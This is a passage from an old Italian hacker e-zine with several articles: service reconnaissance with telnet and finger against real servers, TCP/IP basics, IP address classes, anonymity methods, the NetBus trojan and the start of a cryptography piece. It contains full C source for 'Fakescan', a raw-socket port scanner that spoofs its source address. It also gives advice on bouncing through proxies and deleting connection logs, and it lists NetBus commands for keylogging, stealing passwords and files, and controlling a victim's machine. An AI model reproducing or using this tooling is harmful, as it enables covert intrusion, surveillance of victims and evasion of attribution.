25. Sendmail vi dovrebbe dare il benvenuto cosi: 220 prova.it Sendmail x.x/x.x 11/4/00 ready at Mon, 30 Apr 00 06:22:19 -0200 Aahhh dimenticavo se non vi appare nulla presentatevi al demon con.... Hello x.x Puo essere che vi risponda. In x.x potete mettere qualunque nome, ricordate che il demone conosce il vostro ip per cui non fate stronzate. Provate sempre con molti server e segnatevi il numero di versione. Bene sulla porta 79 potrete chiedere informazioni su ogni singolo utente. Collegatevi agli stessi server di prima e cambiate solo il numero di porta. Qui non vi apparirà nulla sicuramente. Il domone "fingerd" non vi accoglierà con nessun messaggio. Che fare? Inserite un nome seguito da return per avere inormazioni su quell'utente. Voi direte: come faccio a cercare informazioni su un utente se non so nemmeno che nome mettere? Ed io vi rispondo.............. semplicemente..........provate con "root" all'inzio. Il root esiste sempre perché si tratta dell'amministratore di sistema. Vi darà qualcosa del del genere: root Login:root Name:Fabio Rossi Directory:/root Shell:/bin/sh Last login Wed Apr 10 11:26 (CET) on tty No Mail No Plan. La connessione si chiuderà automaticamente subito dopo, questa è una caratteristica di fingerd. Come vedete già sappiamo il nome dell'amministratore di sistema, la sua directory principale, il suo username (login), la sua ultima connessione(last login) ed il tipo di shell che possiede. (Non sapete cos'è una shell? Questo non ve lo dico........siete proprio svogliati andatevelo a studiare con linux dovrete iniziare prima o poi!!) Un altro "demone" attaccabile è il wu-ftpd, si tratta del programa che si occupa della gestione del server ftp la porta è la 21. Dovete sapere che spesso potrete entrare in una macchina su questa porta ed avere accesso a tutti i files che essa mette a disposizione su ftp anche non avendo un account. Si tratta di accedere come utente "anonymous" molte server unix ve lo consentono. Usiamo sempre telnet, in accesso remoto mettete un server del tipo...... www.mediatel.it e come porta la 21 (ou attenti questo è un address vero, non vi collegate tutti a questo, o l'amministratore se ne accorge di tutte queste prove di tutta sta gente, cambiate caxxo vi ho dato una lista). Ora non vi dovrebbe apparire nulla. Digitate: USER anonymous PASS nessuno@niente.it abbiamo messo nessuno@niente.it perchè l'accesso anonymous presuppone che voi forniate un indirizzo email come password....non vorrete metterci quella vera! Se tutto ha funzionato avrete una risposta del tipo: Sistema.it wu-ftp2.4.0(2) bla bla bla....... USER anonymous logged in se siete dentro cominciate a provare alcuni comandi di unix. pwd ls -l vedete un poco a cosa servono. Segnatevi la versione di wu-ftpd ed uscite. Vi do gli ultimi consigli e poi si chiude ok? Segnatevi sempre le versioni che trovate...ricapitolando avremo - la porta 23 è quella di TELNET da qui avrete la versione del SO (sistema operativo) - la porta 21 è quella del servizio FTP da qui avrete la versione del daemon wu-ftp - alla porta 79 trovate fingerd - alla porta 80 trovate i servizi web tipici. - provate pure altre porte ad esempio 514, 515, 702, o le porte di irc, se si tratta di un server irc..da 660 a 670 insomma provate. Per ora direi che può bastare, la prossima volta studieremo più da vicino ogni singolo daemon e gli exploit corrispondenti, dove reperirli ed altre cosine. Se avete problemi mandatemi una email vulcan12mm@hotmail.com. Ciao da ---Vulcan--- -=!!!|-TCP/IP 4 nEwbIeS-|!!!=- Autore: SONOunuomo comandante squadra : SonoUnUomo obbiettivo : cercare di scrivere almeno due o tre parole sensate senza discendere nella mia stupidita' e cominciare a scrivere le solite cazzate che dico .... Bene ora si puo' cominciare. 3..... 2.... 1... Start ! Allora, le reti e i computer di tutto il mondo possono condividere informazioni e messaggi su internet grazie ad un sistema (apparentemente) semplice . Cioe' ogni informazione di Internet viene frammentata (cioe' suddivisa) in tanti pacchetti e consegnate alla loro destinazione dopo di che questi pacchetti vengono riassemblati in modo che possano essere utilizzabili da chi li riceve. Questo e' quello che fa il Tcp (Transmission Control Protocol) e l'Ip (Internet Protocol), spesso chiamati collettivamente TCP/IP. Il TCP frammenta i e poi riassembla i pachetti , mentre l'IP ha la responsabilita' di far arrivare i pacchetti alla giusta destinazione. Si usa il TCP/IP perche' internet e una cosidetta (puttana ....c'e' gente che la penetra da per tutto eheheheh) rete a commutazione di pachetto . In questa rete non esiste un'unica connessione ininterrotta, ma bensi quando vengono inviate le informazioni sono suddivise in piccoli pachetti, inviati contemporaneamente su piu' percorsi e poi riassemblati all'estremita' ricevente. Il sistema telefonico invece e una commutazione di circuito. In questo tipo di rete, una volta stabilita una connessione (cioe' ad esempio con una telefonata alla mia tipa ... anzi la Saluto : CIAO ROSY!!!!!), quella parte della rete e dedicata solamente a quella singola "connessione". Perche i computer sfruttino a fondo Internet, debbono usare un software speciale (uhaaaaooo) in grado di capire e interpretare (attenzione al mio italiano !! Ai compiti non scrivo mai cosi'!!!) i Protocolli TCP/IP: tale software e chiamato socket o stack TCP/IP. In windows il software si chiama Winsock, disponibile in diverse versioni . questo software funge da intermediario tra un client e un computer server. Senza questo software ci si puo' collegare ad internet ma si possono utlizzare solo le parti piu' scazzose, scapocchione e rudimentali. In realta la stack TCP/IP risulta formata e suddivisa in 4 strati: Lo strato Applicazione (Dove opera il sofware operativo), lo strato di trasporto (dove operano i protocolli UDP e TCP per il trasporto di dati),lo strato internet e lo strato della rete (dove opera il protocolo IP, ICMP, IGMP ) L'UDP, il TCP, l'IP, l'ICMP che hanno le seguenti funzioni : TCP : E' il cosidetto protocollo per la trasmissione di dati controllata cioe': IP : E' il protocollo che viene utlizzato e l'indirizzamente dei dati attraverso la rete cioe' e lui che dice ai dati dove devono arrivare . ICMP: (internet Control Message Protocol): e il protocollo che si occupa della trasmissione dei messaggi di errore e di richiesta nella rete. UDP : Permette la trasmissione di dati ma al contrario del TCP/IP non e una trasmissione sicura cioe' se si perdono informazione durante la trasmissione te lo prendi nel ( \/ |_ 0 . Pero' al contrarion del tcp e molto piu' veloce e viene utlizzato da applicazioni tipo il Real Player. Glossario facile facile : Header : A ogni pacchetto e' assegnato una intestazione (header in inglese) che contiene varie informazioni, come l'ordine in cui assemblare i pacchetti con gli altri una volta che sono arrivati a destinazione inoltre inserisce una checksum (che e spiegata sotto ) che e calcolata in basa alla quantità di dati presenti nel pacchetto. Esempio di trasmissione dati dalla TCP 0 = pachetti TCP (ehehehe non assumete un killer per uccidermi please ehehehe) ____________ | | |Mio computer| |____________| | \-DATI--la tcp* frammenta i dati--I--T--D--A--l'IP*incapsula i dati e li indirizza | +....................0......0......0.....0........................ | | ROUTER | \/ Il router fa un smistamento dei pacchetti | +--------+ |-----------0----------------+ |---------0----0------0----| |-----|----------0-----------+ | +--------+ |---------0-------+ | | | | | | | | | | | \ | / \ | / TCP (a questo punto il tcp controlla gli header dei vari pacchetti e confronta la checksum con il contenuto di ogni pacchetto e nel caso il pacchetto risulta danneggiato lo Ririchiede mandando un messaggio ICMP in cui richiede che solo quel pacchetto venga rispedito. quando tutti dati giungono correttamente a destinazione vengono riassemblati e possono ora essere leggibili) | DATI |------------------| | computer | | destinazione | | | |------------------| * = c'e' da dire che l'IP indirizza i dati assegnando loro un indirizzo Ip di destinazione e l'indirrizzo Ip da cui e' partito il pacchetto dati **= inoltre la TCP scrive in ogni header dei pacchetti un checksum che calcola in base al contenuto del pacchetto Allora ora arrivano le mie considerazioni. Ho scritto questo manuale per darvi almeno un idea di fondo su come funziona la rete avrei potuto (e dovuto) dilungarmi di piu' ma vi assicuro che alla fine avreste avuto solo le idee piu' confuse dopo aver letto e capito questo manuale vi consiglio di leggere lo stack TCP/IP e i socket di Lurkin nel quale nonostante confonda le idee per qualche argomento di cui non sono sicuro neanche io. VI dara sicuramente una visione piu' globalizzata e meglio strutturata di tutto il procedimento per ora l'importante e che sappiate + o - come minchia funziona la trasmissione di dati e che impariate a memoria il manifesto hacker del Mentor e lo comprendiate a fondo in quanto neanche io nonostante l'abbia imparato a memoria (si sono un pazzo lo ammetto) ho compreso a fondo il suo significato e ricordate in ognuno di noi c'e' un piccolo Linus . Si ringrazia Preston Gralla da cui ho preso buono spunto ---SONOunomo--- -=!!!|-0cCulTamEnt0 E dIsSimUlAzI0nE-|!!!=- Autrice: Azalin Premetto di non essere ne un'hacker ne una programmatrice, solo una che sta' imparando un po' a giocare con la rete e a muovermi con linux se siete gia' dotti sui punti che trattero' in questo articolo (cosa abbastanza facile), JP al prossimo_articolo :) brevente: 1 - metodi di anonimizzazione di una connessione 2 - metodi di dissimulazione dopo essersi connessi allora, prima chiariamo un punto: MA a cosa serve anonimizzarci ? i motivi possono essere vari, del resto non e' necessario x hackkare anonimizzarsi, e non e' nemmeno vietato anonimizzarsi x mandare una mail :) ci sono metodi leciti e [meno] leciti x raggiungere questo scopo (ovvero andare in giro con un ip diverso da quello asseganto dal vostro provider, che sia tiscali o iPass :) Se vogliamo connetterci con un ip diverso dal nostro, sara' necessarrio avere dei sistemi su cui "bouncare" o "saltare", questi sistemi possono essere delle shell che permettono telnet, dei wingate, dei proxy, particolari router (+ che particolari bisogna saperli usare :) NetBlazer dialout e redirector. wingate e proxy sono semplicemente dei servizi che permettono di far passare la connessione da me ad un altro server, facendo apparire pero' il suo ip. quindi: IO ----------------> proxy/wingate --------------> SERVER questo sistema rallenta un po' la connessione, non c'e' che dire :) inoltre, rimane loggato sul proxy o sul wingate il fatto che voi siete arrivati a quell'ora, e il server registra la connessione fatta su di lui a nome del proxy, questo vi rende anonimi ma non irrintracciabili. il proxy a cui alludo non e' solo lo "squid" di turno sulla 8080 (http), ma il proxy server sulla 1080, che e' in grado di fare da bouncer x connessioni FTP, irc telnet ecc... i metodi di utilizzo di un wingate sono semplicissimi : (con ircII) : /server :23 /quote :6667 x effettuare una connessione a mio.dns.org basta fare: WinGate>mio.dns.org porta e verrete immediatamente catapultati nel vostro dns alla porta da voi decisa. bhe, queste tecniche non sono che le piu' elementari... bounciare e' semplicissimo se si usa una shell che consenta l'uso di telnet o di ssh da li' (quindi non le free-shell) nel caso voi abbiate l'accesso root della shell, allora potete anonimizzarvi con un buon grado di sicurezza, visto che in seguito all'utilizzi della shell come bnc potrete cancellare i log della vostra connessione. bnc ? cosa ho scritto ? il bnc e' un programma che consente il bouncin da remoto, trovate su packetstorm l'ultima versione, simile a questo esiste un altro programma detto "datapipe" di cui trovate una descrizione dettagliata sul primo numero di BFI (www.s0ftpj.org) Redirectors... solamente una volta ho visto un redirector, e non so bene nemmeno di che servizio si tratti, cmq svolgeva pressoche' la funzione di un wingate. x utilizzare router x bounciare bisogna, appunto, saper utilizzare router (e purtroppo non e' il mio caso) a parte che non so se e' comune tra i router concedere connessioni, in ogni caso... non ho le idee ben chiare su come utilizzarli. Dialout - NetBlazer - "cu" questi sono sistemi utilizzati x raggiungere telfonicamente un altro host che accetta connessioni da un modem (un comune isp) anche questo e' un metodo utilizzato x bounciare. il NetBlazer, puo' essere anche utilizzato come wingate. metodi legali: i metodi legali x anonimizzarsi sono 2, uno e' utilizzato x le email e l'altro x il web. il primo viene soddisfatto da in numerosi anonymous remailer in giro x il mondo, l'altro e' l'utilizzo di proxy anonimi, che quindi non consentono la visione dell'ip occultato (mi chiedo perche' non sono cosi' TUTTI i proxy ... bhoooo...) x quanto riguarda gli anonimous remailer, si ha la perfetta sicurezza che il messaggio non ria rintracciabile, per quanto riguarda i NYM server invece, e' possibile che un potenziale "nemico" o la polizia, abbia accesso al database degli utenti registrati... comunque queste sono paranoie eccessive. invece, un proxy anonimizzante, non e' cosi' sicuro IMHO, sono certa che terra' i log di tutti coloro che navigano attraverso. SPOOFING spoofing ? si grazie :) ok ok, se avete letti gli innumerevoli articoli apparsi su BFI vi sarete accorti che spoofare delle connessioni tcp e' praticamente impossibile ora come ora... eppure questo e' il miglior sistema che esista x potersi occulare, i server su cui si possa fare della predizione sono pochi, in compenso l'hijacking e' ancora possibile... bhe, riassumendo: spoofare in modo cieco e' raramente possibile spoofare in modo vedente e' possibilissimo, ma dovete avere uno sniffer sull'host che impersonate(per vedere l'ISN di risposta del server), l'utilizzo di uno sniffer da remoto presuppone una connessione all'host, e quindi connettersi e spoofare risulta inutilmente dispendioso rispetto a connettersi e telnettare :) (a menoche' non manchi proprio "telnet" :) fusys ha presentato un programma che mandava delle email spoofando il proprio ip, il fatto e' che il suo mailer mandava dati spoofati solo alla 25 di turno, mentre ho saputo da vecna che e' possibile mandare i dati anche in altre porte, e lui stesso ha modificato SMailv2.c, solo che non lo da', dicendo che e' una cazzate farlo :( in compenso ho qui un altro affarino che risultara' MOLTO interessante :) ... avete prensete quando vi apprestate a scannare un host con nmap (sperando fortemente che nessuno di voi usi degli scanner che effettuano full connection) ... se provate a scannare il vostro stesso pc, e fate uno di un buon logger (come quelli che stanno sul 98% dei server in rete) vi accorgerete che tutti gli stealth scan vengono irrimediabilmente loggati. siccome, i log, x definizione :) o si cancellano o si sputtanato, allora ho avuto la fortuna di trovare vecna che, x spasso credo :) si e' fatto un "fakescanner" ovvero uno scanner che emula gli stealth scan di nmap spoofando l'esegutore dello scan. siccome ho visto che ha postato questo programma in mailing list, non credo ci siano problemi se lo pubblico anche qui... ------------------------------------------------ #include #include #include #include #include #include #include #include #include #include void senda_pakki(int,int,int); struct pkt { struct iphdr ip; struct tcphdr tcp; } pkt; struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; unsigned int host2ip(char *hostname) { struct in_addr i; struct hostent *h; if((i.s_addr = inet_addr(hostname)) == -1) { if((h = gethostbyname(hostname)) == NULL) { fprintf(stderr,"\033[1;34m%s\033[0m :",hostname); perror("gethostbyname()"); return 0; } bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); } return i.s_addr; } int init_tcp(unsigned int dest_addr, unsigned int source_addr,int TYPE) { int tcp_socket; /* form ip packet */ pkt.ip.ihl = 5; pkt.ip.version = 4; pkt.ip.tos = 0; pkt.ip.tot_len = htons(40); pkt.ip.id = getpid()*4; pkt.ip.frag_off = 0; pkt.ip.ttl = 255; pkt.ip.protocol = IPPROTO_TCP; pkt.ip.check = 0; if((pkt.ip.saddr = source_addr)==0) return 0; pkt.ip.daddr = dest_addr; /* form tcp packet */ pkt.tcp.source = getpid(); pkt.tcp.seq = getpid()*6; pkt.tcp.ack_seq = 0; pkt.tcp.res1 = 0; pkt.tcp.doff = 5; pkt.tcp.fin = 0; pkt.tcp.syn = 0; pkt.tcp.rst = 0; pkt.tcp.psh = 0; pkt.tcp.ack = 0; pkt.tcp.urg = 0; switch(TYPE) { case 1: pkt.tcp.syn=1;break; /* SYN scan */ case 2: pkt.tcp.fin=1;break; /* FIN scan */ case 3: pkt.tcp.urg=1; pkt.tcp.fin=1; pkt.tcp.psh=1;break; /* XMAS scan */ default:break; /* NULL scan */ } pkt.tcp.res2 = 0; pkt.tcp.window = htons(512); pkt.tcp.check = 0; pkt.tcp.urg_ptr = 0; if((tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { perror("socket"); exit(0); } return tcp_socket; } void senda_pakki(int dest_port,int tcp_socket,int delay) { struct sockaddr_in sin; int sinlen; usleep(delay); /* setup the sin struct */ sin.sin_family = AF_INET; sin.sin_port = pkt.tcp.source; sin.sin_addr.s_addr = pkt.ip.daddr; /* i pochi campi che cambiano */ pkt.tcp.dest = htons(dest_port); /* calculate the ip checksum */ pkt.ip.check = in_cksum((unsigned short *)&pkt.ip, 20); /* set the pseudo header fields */ pseudo_header.source_address = pkt.ip.saddr; pseudo_header.dest_address = pkt.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20); bcopy((char *)&pkt.tcp, (char *)&pseudo_header.tcp, 20); pkt.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32); sinlen = sizeof(sin); if((sendto(tcp_socket,&pkt,40,0,(struct sockaddr *)&sin,sinlen))==-1) { perror("sendto"); exit(0); } } main(int argc, char **argv) { int i,tcp_socket,start_port,end_port,type,delay,init_port,x=1,y=1; char buf[32],**target=malloc(4096),**source=malloc(4096); FILE *hostfile,*spoofile; if(geteuid()!=0) { printf("\033[1;34m %s needed r00t rulez permission\033[0m.\n",argv[0]); exit(0); } if(argc<7) { printf(" \033[1;5m Fakescan v1.2 \033[0m"); printf("\n Usage: %s skanned spoofed start_port end_port type delay\n",arg v[0]); printf("\n \"spoofed\"&\"skanned\" maybe FILE-HOSTLIST / ONE-HOSTNAME"); printf("\n Type \033[1;32m [1]\033[0mSYN \033[1;32m [2]\033[0mFIN \033 [1;32m [3]\033[0mXMAS \033[1;32m [any]\033[0mNULL\n\n"); printf(" Flames [ /etc/lilo.conf ]\n"); printf(" Mail [ vecna@mail.com ]\n"); exit(0); } start_port=atoi(argv[3]); end_port=atoi(argv[4]); type=atoi(argv[5]); if((delay=atoi(argv[6]))<0) delay=0; if((hostfile=fopen(argv[1],"r"))==NULL) { target[0]=malloc(32); strcpy(target[0],argv[1]); } else { x = 0; while (!feof(hostfile)) { fgets(buf, 32, hostfile); for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; target[x] = malloc(32); strcpy(target[x], buf); x++; } target[x-1] = 0x0; } fclose(hostfile); /* stessa routine x i file sorgenti */ if((spoofile=fopen(argv[2],"r"))==NULL) { source[0]=malloc(32); strcpy(source[0],argv[2]); } else { y = 0; while (!feof(spoofile)) { fgets(buf, 32, spoofile); for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; source[y] = malloc(32); strcpy(source[y], buf); y++; } source[y-1] = 0x0; } fclose(spoofile); init_port=start_port; for(y=0;source[y]!=0x0;y++) { for(x=0;target[x]!=0x0;x++) { if((tcp_socket=init_tcp(host2ip(target[x]),host2ip(source[y]),type))==-1) conti nue; for(start_port=init_port;start_port<(end_port+1);start_port++) senda_pakki(sta rt_port,tcp_socket,delay); printf("\033[1;34m%s \033[0m:spoof scan to %s made.\n",target[x],source[y]); close(tcp_socket); } } } in_cksum (addr, len) u_short *addr; int len; { int nleft = len; u_short *w = addr; int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } -------------------------------------------------------------- Ecco, in questo modo non effettuerete connessioni a vostro nome, ma almeno scannerete con una sufficente anonimita' :) (del resto, in mezzo a quel casino :) hostfile e spoofile possono essere 2 file con delle file di host, vanno messi senza spazi e il "#" davanti non conta come annullatore della riga. Io penso di aver finito... spero che questo articolo abbia chiarito ad alcuni come accultarsi un po', anche se ammetto che la mia poca esperienza, abbia potuto causare la mancanza di esempi pratici in questo articolo. rimango comunque speranzosa che venga pubblicato :) ---Azalin--- -=!!!|-Come lavora il sitema IP number-|!!!=- Autore: Traduzione di: SONOunuomo Il testo originale e' allegato nell'e-zine. Piccolo Dizionario Ottetto : Insieme di otto bit Host : computer collegato alla rete --------------------------->INIZIO<------------------------------------------- Il Tcp/ip ha un largo numero di reti independenti connesse assieme attraverso gateways. Ogni utente dovrebbe essere in grado di accedere ai computers o ad altre risorse della rete. Tutto quello che bisogna sapere per ordinare di accedere a un'altro sistema è un indirzzo IP cioè una serie di 4 serie di cifre come 128.6.4.194. Il quale è un numero a 32 bit, ma è scritto in serie di 4 cifre decimali (128.6.4.194), ogni cifra rappresenta 8 bit (oppure ottetto) dell'indirizzo. La struttura dell'indirizzo da' le informazioni su come accedere ad un sistema (es. 128.6 è il numero IP assegnato alla Università di Rutgers.) Il prossimo ottetto (oppure i prossimi 8bit) indica quale Ethernets sono coinvolti; 128.6.4 e usato dal Computer Science department. L'ultimo ottetto permette fino a 254 sistemi per ogni Ethernet (254 perchè 0 e 255 non sono permessi). Come menzionato, gli IP Address sono numeri scritti in serie di 4 ottetti ( in decimale però ) , e.g. 128.6.4.7 Ci sono attualmente tre tipi di indirzzi. Il problema e che un IP può indicare sia una rete che un Host sulla rete. Questo perchè i progettisti pensarono che 24 bits erano sufficenti per rappresentare tutti gli Ip della rete, e che le grandi reti avrebbero avuto bisogno al massimo di 24 bit per rappresentare tutti i suoi hosts e invece non fu così. Queste reti chidevano indirizzi da 48 bit .Ma i progettatori sapevano in realta' erano sufficenti indirizzo da 32 bit. Così adottarono un Kludge, pensando che la maggior parte delle reti in futuro sarebbero state piccole. Così settarono 3 differenti campi (o ranges all'inglese) di indirizzi. Gli indirizzi che cominciano con un numero (decimale hehehe) da 1 a 126 usano solo il primo ottetto per gli IP number delle reti. Gli altri tre ottetti sono disponibili per gli IP number degli Host . Così 24 bits sono disponibili per gli hosts. Questi numeri sono usati per le grandi reti. Ma ci possono essere solo 126 di queste grandi reti , come Arpanet a grandi rete commerciali le quali sono poche : Ma non molte oraganizzazioni normali hanno un indirizzo di "classe A". Per le normali organizzazioni , sono usati gli indirizzi a "Classe B" . Gli indirizzi a "classe B" usano i primi 2 ottetti per il numero di rete. questo numero di rete sono da 128.1 a 191.254 (noi non usiamo lo 0 e il 255 e gli indirizzi che iniziano con il 127 perchè sono usata per scopi particolari). Gli ultimi due ottetti sono disponibili per gli indirizzi degli Host, avendo 16 bit per gli indirizzi degli host possiamo avere da 64 a 516 computer,abbastanza per la maggior parte delle organizzazioni. Gli indirizzi di classe C usano tre ottetti, nei campi (oppure range)da 192.1.1 a 223.254.254. questo permette di avere solo 254 utenti su ogni rete, ma queste reti possono essere numerose. Gli indirizzi sopra il 223 sono riservati per i futuri usi ( Classe D e C e altre non ancora definete ). 0 e 255 hanno un scopo speciale. Lo 0 e riservato per le macchine che non conoscono il loro indirizzo IP. E' possibile per una macchina che non conosce il numero della rete sulla quale si trova, o il loro indirizzo Host. Per esempio, 0.0.0.23 è una macchina che sa di avere un numero di host 23 ma non conosce su quale rete si trova. .255 e usato per "Broadcast" , (un messaggio che tu vuoi che ogni sistema sulla rete veda). Sono usati in situazini dove non si conosce chi parla a chi. Per esempio tu hai bisogno di fare un look up ad un host name e avere il suo Indirizzo IP, ma non conosci l'indirizzo del piu vicino server. Così puoi spedire una richiesta come Broadcast. O se i numerosi sistemi sono interessati alla stessa informazione, è meno dispendioso spedire un singolo Broadcast che spedisce i datagrammi individualmente a ogni Host che è interessato. Per spedire un Broadcast, usi un indirizzo che è creato usando il tuo numero di rete, con tutte le stesse parti dell'indirizzo dove il numero dell'host va. Così se tu sei sulla rete 128.6.4 , e vuoi usare 128.6.4.255 per broadcast. Non e possibile spedire Broadcasta su Arpanet, o su una linea Point to Point. Ma è possibile su un Ethernet. Se tu usi un indirizzo Ehthernet con tutti i suoi bits "su", ogni macchina su ethernet è inteso guardare a quel datagramma. Per convenienza, lo standard include anche 255.255.255.255 per essere usato. Questo si riferisce a tutti gli host sullla rete locale , Alcune vecchie implementazioni possono usare 0 invece del 255 per formare l'indirizzo Broadcast. Tali implementazioni usano 128.6.4.0 invece del 128.6.4.255 come indirizzo broadcast sulla rete 128.6.4 .Alcune vecchie implementazioni possono non comprendere la sottorete(subnet). Così considerano il numero di rete 128.6 . Esse assumeranno un indirizzo Broadcast di 128.6.255.255 o 128.6.0.0 . Perchè 0 e 255 sono usati per gli indirizzi Sconosciuti oppure gli indirizzi Broadcast, normalmente gli hosts non dovrebbero contenere lo 0 o il 255. Inidirizzi non dovrebbero cominciare con 0 , 127 o qualsiasi numero al di sopra del 223 . ---------------------->FINE<------------------------------- TABELLA RIASSUNTIVA ============================================================================= |RANGE IP CLASSE A = DA 1 A 127 --- I rimanenti 3 ottetti sono | | --- per le subnet | +---------------------------------------------------------------------------+ |RANGE IP CLASSE B = DA 128.1 A 191.254 --- I rimanenti 2 ottetti sono | | --- per subnet | +---------------------------------------------------------------------------+ |RANGE IP CLASSE C = DA 192.1.1 A 223.254.254 -- Il rimanente ottetto è per | | --- le subnet | ============================================================================= -[ faQ ]- Da cosa viene contraddistinta un tipo di subnet da un'altra a basandosi sull'ottetto e non sulla range ? Vengono contraddistinte dai bit del primo ottetto che hanno una combinazione ben definità quelli di classe A hanno il primo bit sempre fisso 0 quelle di classe B hanno il primo di 1 e il secondo a 0 quelle di classe C iniziano con 110 quelle di classe D iniziano con 1110 e quelle di classe E iniziano con 1111. ---(SONOunuomo)--- -=!!!|-nEtBuS + tElNet-|!!!=- Autore: |M4X| Ciao ragazzi sono |M4X|. Questo è un articolo sul trojan netbus e sulla sua gestione da remoto! Che vi sembrava un nuovo drink ? Mezzo Netbus e telnet ! Ok basta con le cazzate e passiamo alle cose serie ... se serie si possono chiamare! Ecco un semplice caso: siete su irc ed il lamerone di turno ha il netbus attivo. Dice di essere un grande hacker ... e che lui è uno di quelli che con un dito ( tasto ) vi butta fuori da qualsiasi canale. Cosa fate? Aprite netbus e prendete le sue pass? Si dai aprite netbus! Ma se non avete la gui grafica? Vi fate scappare il lamerone di turno o aspettate che lo ripescate in chat ? NOOOOOOOOOOOOOOOOOOOOOOOOOOOOO! Ma a che cazzo vi serve il TELNET! Usatelo almeno una volta in quel cazzo di winzozze! Bill lo ha messo e noi lo usiamo ... lode allo Z$0B$ll ! Dopo i dovuti inchini, i ringraziamenti, le lodi ecc...ecc.. e le varie frasi : "Se non ci fosse bisognerebbe inventarlo" Prendete un pocket cofeee e magnatevillo tutto! Ehi ma pensavate che stavo parlando di Bill! Va be che assomiglia ad un pocket cofee ma Bill è inconfondibile ! Cmq tornando a noi,questi sono i comandi che accetta il nostro troiano da remoto (utilizzando telnet naturalmente :) AppRedir; (path:\filename.exe); App redirection ie. c:\command.com;100 CaptureScreen Cattura schermo DelFile;(filename.exe) Cancella un file DisableKeys;1;(keys) Disattiva Key(tastiera) DisableKeys;0; Resetta Key DisableKeys;1;abcdefgh ijklmnopqrstuvwxyzċäö Disattiva tutti keys(tastiera) DownloadFile; (path:\filename.exe) Prendi uno specifico file Eject;1 Apri CD ROM drive Eject;0 Chiudi CD ROM drive ExitWin;1 Chiudi/shutdown windows(S.O) GetApps Vedi Applicazione Corrente GetACL Vedi admin lista GetInfo Vedi INFO Window(Finestre) GetDisks Lista files/dirs/disk GetSetup Vedi Configurazione Server Parameteri GetUser Vedi info dell'utente GetVolume Usa sound volume KeyClick;1 Key click on KeyClick;0 Key click off Listen;1 Start (keyboard) Ascolta Tastiera Listen;0 Ferma ascolto tastiera Message;(message) Invia messaggio-box alla Vittima NewSetup;serverport;1; password;youremail; VICTIMSemail; smtpserver Invia nuovi parametri admindata (netbus 1.7) Password;1;ogni Tasto ServerPwd; Nuova Password PlaySound;(file.wav) Suona un file.wav PortRedir; (listen tcp port); (ip); (destination port) Rindirizza una porta specifica Record;10 Registra un suono per 10 secondi RemoveServer;1 Rimuovi Server RemoveServer;0 Cancella Rimozione ShowImage;(file.exe) Mostra un immagine SendKeys;(words) Invia un messaggio * a | carattere e un tasto "return" key SendKeys;2;13 Invia tasti speciali (esemoio: return, cursor up/down/left/right) SetACL;(ip)| Set (admin) accesso IP`s SetMousePos;(xpos); (ypos) Setta posizione Mouse SwapButton;1 Elimina bottoni mouse SwapButton;0 Riattiva bottoni mouse StartApp;(file.exe) Avvia un programma UploadFile;(file.exe); (size); (destination dir) Invia uno specifico file alla vittima URL;(site) Va ad uno specifico indirizzo web Consiglio : Non usate mai le gui grafiche ! Usate i comandi "puri". Una gui grafica puo' essere usata da chiunque ... mentre conoscere tutti i comandi ed usarli con telnet è cosa da pochi ! Ai newbie : Spero che qualcosa ve la stia insegnando ! Non per forza qualcosa tecnica,ma anche qualcosa di etica...magari un giorno quando sarete "hacker" vi ricorderete di quello scassapalle di |M4X| e dei suoi consigli ! Agli hacker :naturalmente voi non avete letto sto articolo ma un messaggio anche per voi : aiutate tutte quelle persone che su irc si spacciano per hacker...non disconnetteteli o bannateli dai canali! Non serve a niente ... cosi' non impareranno mai! Spero che abbiate quello che volevo dire,ma credo che non ve le debba insegnare io queste cose! ---|M4X|--- ########################################## #+--------++--------++--------++--------+# #| kRipT0 || kRipT0 || kRipT0 || kRipT0 |# #+--------++--------++--------++--------+# ########################################## -=!!!|-l'AnG0l0 dEl kRiTt0gRAf0-|!!!=- Autore; 0-z0nE Ciao a tutti, sono O-Zone. Mi e' stato chiesto di scrivere un articolo per AiS sulla crittografia e privacy in rete. Accennero' brevemente anche sul PGP (Pretty Good Privacy), un programma per proteggere la nostra corrispondenza e non solo. Per prima cosa e' necessario cercare di comprendere a cosa serve proteggere qualcosa per rendero nascosto agli estranei. Supponiamo di dover dare il nostro indirizzo privato ad un amico che sta' negli USA, esattamente nell'altra faccia del pianeta: potremmo usare diversi metodi, primo fra tutti il telefono, oppure la posta normale o la piu' veloce ed economica E-Mail. Certo, potrebbe sembrare inutile dannarsi per nascondere il nostro indirizzo: del resto non ho mica fatto nulla di male ! Il problema non e' dell'indirizzo, o del numero di telefono o altro: IL PROBLEMA E' CHE LO DECIDO A CHI DIRE LE MIE COSE e non tollero che altri possano leggano la mia corrispondenza (o ascoltino le mie conversazioni) senza il mio permesso. Ecco che entra in ballo la crittografia. Non mi dilunghero' troppo sulla storia della crittografia o le sue origini o altro. Semplicemente viviamo in un era in cui la privacy e' fondamentale, dalle E-Mail tra me e la mia fidanzata lontana alle transazioni finanziarie degli acquisti in rete. La recente notizia sul fatto che Echelon sia non una semplice leggenda metropolitana aumenta la necessita' di proteggersi. Ma come proteggere le nostre E-Mail che ogni giorno circolano in decine di server alla portata ottica di qualunque sysadmin un po' piu' smaliziato? La domanda non e' poi cosi' scontata. Oggi, grazie a Diffie ed Hellman abbiamo la crittografia a chiave pubblica che ci permette di avere due chiavi, una pubblica ed una privata. Il concetto base di questo tipo di crittografia si basa sulle funzioni asimmetriche. Evitando qualsiasi digressione di matematica, dirro' semplicemente che non e' (quasi mai) possibile invertire il processo di queste funzioni. Per eventuale approfondimenti cercare RSA su qualsiasi motore di ricerca. Per esempio: Alice ha la sua chiave pubblica (APU) e la sua privata (APR). Bob ha la sua chiave pubblica (BPU) e la sua privata (BPR). Elisa vuole scoprire cosa si dicono Alice e Bob nelle loro E-Mail che 